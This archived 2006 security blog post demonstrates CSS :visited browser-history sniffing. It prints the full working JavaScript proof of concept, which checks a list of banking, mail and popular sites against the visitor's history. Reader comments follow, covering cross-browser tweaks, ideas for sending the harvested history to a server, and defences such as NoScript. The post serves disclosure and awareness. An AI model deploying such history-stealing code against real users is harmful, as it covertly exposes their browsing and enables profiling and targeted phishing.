I know where you've been

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Content

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I know where you've been

I updated the blog template to display some proof-of-concept browser history stealing JavaScript code. On the right side column notice the "I know where you've been" heading. Below that, if your using Firefox, Mozilla, Netscape or Safari, you should see a bunch of links to websites you've been to. Don't worry, I'm not capturing this data, only you can see it, though it does prove a point. This trick probably works in Internet Explorer, though I haven't tried to port the code to find out for sure. I wonder how long until the marketers start using this for additional visitor profiling. Feel free to view-source and find the trick.

Sidebar proof of concept

> Archive note: This is the actual inline demonstration from the preserved September 11, 2006 page, referred to by the article above. It is reproduced as inert source text.

```
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [ "http://ajaxian.com/",
"http://digg.com/",
"http://english.aljazeera.net/HomePage",
"http://ha.ckers.org",
"http://ha.ckers.org/blog/",
"http://jeremiahgrossman.blogspot.com/",
"http://login.yahoo.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://my.yahoo.com/",
"http://reddit.com/",
"http://seoblackhat.com",
"http://slashdot.org/",
"http://techfoolery.com/",
"http://weblogs.asp.net/jezell/",
"http://www.amazon.com/",
"http://www.aol.com/",
"http://www.bankofamerica.com/",
"http://www.bankone.com/",
"http://www.blackhat.com/",
"http://www.blogger.com/",
"http://www.bloglines.com/",
"http://www.bofa.com/",
"http://www.capitalone.com/",
"http://www.cenzic.com",
"http://www.cgisecurity.com",
"http://www.chase.com/",
"http://www.citibank.com/",
"http://www.cnn.com/",
"http://www.comerica.com/",
"http://www.e-gold.com/",
"http://www.ebay.com/",
"http://www.etrade.com/",
"http://www.expedia.com/",
"http://www.google.com/",
"http://www.hsbc.com/",
"http://www.icq.com/",
"http://www.jailbabes.com",
"http://www.microsoft.com/",
"http://www.msn.com/",
```

```
"http://www.myspace.com/",
"http://www.ntobjectives.com",
"http://www.passport.net/",
"http://www.paypal.com/",
"http://www.sourceforge.net/",
"http://www.spidynamics.com",
"http://www.statefarm.com/",
"http://www.usbank.com/",
"http://www.wachovia.com/",
"http://www.wamu.com/",
"http://www.watchfire.com",
"http://www.webappsec.org",
"http://www.wellsfargo.com/",
"http://www.whitehatsec.com",
"http://www.xanga.com/",
"http://www.yahoo.com/",
"http://seoblackhat.com/",
"http://www.alexa.com/",
"http://www.youtube.com/",
"https://banking.wellsfargo.com/",
"https://commerce.blackhat.com/",
"https://online.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

var d = document.createElement('div');
d.id = 'xss_flag';
document.body.appendChild(d);

var d = document.createElement('table');
d.border = 0;
d.cellpadding = 5;
d.cellspacing = 10;
d.width = '90%';
d.align = 'center';
d.id = 'data';
document.body.appendChild(d);

document.write('<style>');
for (var i = 0; i < websites.length; i++) {
document.write('#id' + i + ":visited {color: #0000FF;}");
}
```

```
document.write('</style>');

/* launch steal history */

if (is_mozilla) {
stealHistory();
}

}

/*--- [method: stealHistory] ----------------------------------------#
# Description: Send a browsers history to an off-domain URL.          #
----------------------------------------------------------------------*/
function stealHistory() {

// loop through websites and check which ones have been visited
for (var i = 0; i < websites.length; i++) {

var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];

document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);

// check for visited
if (color == "rgb(0, 0, 255)") {
document.write('<li><a href="' + websites[i] + '">' + websites[i] + '</a></li>');
} // end visited check

} // end visited website loop

} // end stealHistory method
```

Comments

At 2:19 PM, Anonymous said...

I love the irony of one post titled "Where have I been", and meanwhile the sidebar is listing a bunch of places my browser has been.

Clever hack with the CSS.

At 7:21 AM, Ironic said...

i got "Operacion Anulada" (in spanish) or "Annulled operation" (with google translator) in english. I didn't see the code yet. But very clever. IE Version. 6.0.2800.1106

Ill try in firefox. Certanly in firefox works well, in the other hand, can be done this without the array of webs?

At 7:45 AM, Anonymous said...

Jeremiah,

Great presentation at Blackhat. I tried porting your code to IE last night, but ran into a bug where all of the links created with the appendChild method show up blue, no matter what. I referenced the color in IE using the currentStyle property, but it returns "#0000FF" for all links (and the links show up blue on screen as well). Any thoughts?

At 12:37 PM, Jeremiah Grossman said...

Anonymous #1, thanks for the kind words. I didn't think about the irony when I posted, but I'll take it. :)

At 12:42 PM, Jeremiah Grossman said...

Ironic, you must have an array to brute force through using this method. But the thing is when you create links its all in virtual space. So technically could do thousands of domains and check em all in a few seconds.

At 12:42 PM, Jeremiah Grossman said...

Anonymous 2, this guy here has been trying to port the hack over to IE/Opera.

http://www.gnucitizen.org/projects/javascript-visited-link-scanner/

At 5:57 AM, Anonymous said...

Wouldn't it be much more cross-browser supported if you did something like

a:visited{display:block;height:1px;}

and read out offsetHeight? Then you don't need to rely on computedStyle.

Chris (http://wait-till-i.com

At 6:41 AM, Archiloque said...

I used the same thing on a site using images for links and needed to detect when a link has been visited to display another image

result at http://www.desordre.net/blog/blog-archives.php3

At 3:19 AM, Anonymous said...

Ok, by using height and offsetHeight it works in MSIE.

Opera is still no-go though.

At 1:22 PM, tyler said...

Nice!!

At 6:15 PM, Gojomo said...

Security research groups at Indiana U and Stanford U had papers about this (and similar) vulnerabilities in the May 2006 WWW Conference. See:

http://www.cs.indiana.edu/~sstamm/projects/recon/

http://crypto.stanford.edu/sameorigin/

From one of the papers' bibliographies, I believe the first disclosure of the problem was in 2002:

http://seclists.org/bugtraq/2002/Feb/0271.html

At 8:36 PM, Anonymous said...

I discovered this around a year ago... Instead of fishing, I called it history "fisting", because you can force-feed someone a huge list of links and see what sticks, then pull it out. This can all be done surreptitiously and report back to the server. Using XMLHttpRequest, you can send megabytes of links (mod_gzip is your friend) over time while someone browses a page... or if they just leave the page open.

I'm sure it was discovered before me too. [Update: the above paper makes that clear...] The easy way to fix it is for a browser to not change the vlink on any OFF-site links... that way an attacker can only find out which links on the current site you've seen, which they know anyway (from reading their own web logs).

At 1:15 PM, Jeremiah Grossman said...

Gojomo, thank you, this is a great find.

At 4:02 PM, Tic Tac Addict said...

I'm using the latest version of Firefox, and have been to several of the queried sites, but even with Javascript enabled the sidebar displays no visited sites...

At 4:20 PM, Anonymous said...

very clever. btw, your resume (which is nicer than mine!) has a small error. I think you mean "angel investors".

Cheers

At 4:21 PM, Lewis said...

ahhah! I have a javascript whitelist (firefox, using noscript and a cookie whitelist) so this doesn't work!

At 4:33 PM, Anonymous said...

Yep - I am using the firefox 1.5.0.6 and none of these proofs seem to work. I have js on.

At 4:43 PM, Anonymous said...

I'm pretty sure this was done years ago already by Gemal.

http://gemal.dk/browserspy/css.html

At 4:50 PM, Jeremiah Grossman said...

thank you for the resume correction. your the first one to notice that, and it must have been that way for perhaps years. :)

At 4:58 PM, Jeremiah Grossman said...

I've received several comments via the blog and email informing me that many researches have previously released a variety of similar JS/CSS history hacks. Many spanning several years back. Amazingly, most of them seem to be unknown to each other or myself. This happens often in this field when people find the same thing at the same time or find something that someone already found. I'm going through as many of the examples as I can to understand the exact mechanism they use. The implementation I have should be consider as just one more of many PoC's avaiable. The novelty of the entire presentation I did at Black Hat was a collection of many JavaScript Malware hacks, not just this one. The point is to create a big picture of what is now possible in the browser. How we can use the browser to hack intranet websites.

At 5:34 PM, Julien Couvreur said...

Here's some more pointers on previous research on the topic:

https://bugzilla.mozilla.org/show_bug.cgi?id=57351 http://milov.nl/2520 http://www.doxdesk.com/personal/posts/bugtraq/20020214-css.html

At 6:24 PM, Anonymous said...

Yeah uh, it's not correct. Says I've been to Yahoo? I haven't been there for years!

At 6:38 PM, Anonymous said...

I'm using firefox and this doesnt work for me :(

I guess setting remember visited pages to 0 helps.

At 11:08 PM, Rubic_Cube said...

I use FF and it seems to be working...

At 9:36 AM, Kiran said...

i am using Firefox 1.5.0.6 and the sidebar doesn't show anything...why is that so?

At 9:37 AM, Kiran said...

i am using Firefox 1.5.0.6 and the sidebar doesn't show anything...why is that so?

At 2:55 PM, David Zuch said...

Your last link is missing the second forward-slash after the "https:" ("https:/banking.wellsfargo.com/"). You might also consider https://online.wellsfargo.com/ while you're at it.

Cheers.

At 6:29 PM, casey said...

It doesn't show any of my history, I'm using 1.5.0.6 also.

At 10:58 PM, Jeremiah Grossman said...

David, updates added, thanks!

At 9:34 AM, Anonymous said...

I've got the Firefox SafeHistory extension installed and this doesn't appear to work here.

Seems like the solution has already been found.

lowkey

At 12:45 PM, Brandon said...

I found that the NoScript Extension for Firefox blocks this hack. So, therefore, Mr. Grossman, You do not know where I've been.

At 12:55 PM, Anonymous said...

Hmmm, I am using firefox 2 beta 1 with no extensions and it shows nothing. That could be due to the fact that your 'exploit' only has a limited number of sites in the list. I didn't check but I have been to google and slashdot and digg to name a few popular sites.

At 1:05 PM, Anonymous said...

For security purposes I started using NoScript a few month ago so that JavaScript is blocked by default unless the website is white listed or I temporarily allow JavaScript on a website. Without JavaScript the hack doesn't work. This reduces at least the chances of such attacks. But until Firefox's history is locked up it would still be a vulnerability on white-listed websites.

Thanks for publishing the hack! It's good to be aware of it.

At 1:15 PM, Anonymous said...

i have Firefox 1.5.0.7 and it shows nothing. i have a backlog of history files too.

maybe they fixed it in there. nice job tho, such a simple thing i hadn't thought of.

At 1:52 PM, glompho said...

dident work for me i was using firefox

At 2:13 PM, Smile said...

Very nice, it's working for me :D I'm using FF 1.5.0.1

At 4:12 PM, Anonymous said...

NoScript plugin for FF does the trick. No history read from my computer. I advice anyone to use it! There's more advantages then stoping proof-of-concept code...

At 6:08 PM, agra said...

I'm using Ubuntu und Firefox, the hack isn't working here. Don't know if it's working with Windows.

At 6:59 PM, Anonymous said...

dont work on a mac, not IE, Netscape, FireFox or Opera.

At 11:30 PM, Anonymous said...

I'm using Firefox with TOR and Privoxy, and I appear to be immune from this. I'm guessing this has to do with the fact that Privoxy cuts out a lot of malicious code, forges referrer tags, and folds/spindles/mutilates any and all personal data before allowing access to it.

At 10:11 AM, Anonymous said...

Hmm.

Makes me think of using a hidden form to submit it to a database.

At 12:52 PM, Anonymous said...

Who is to says someone isn't already doing it :-)
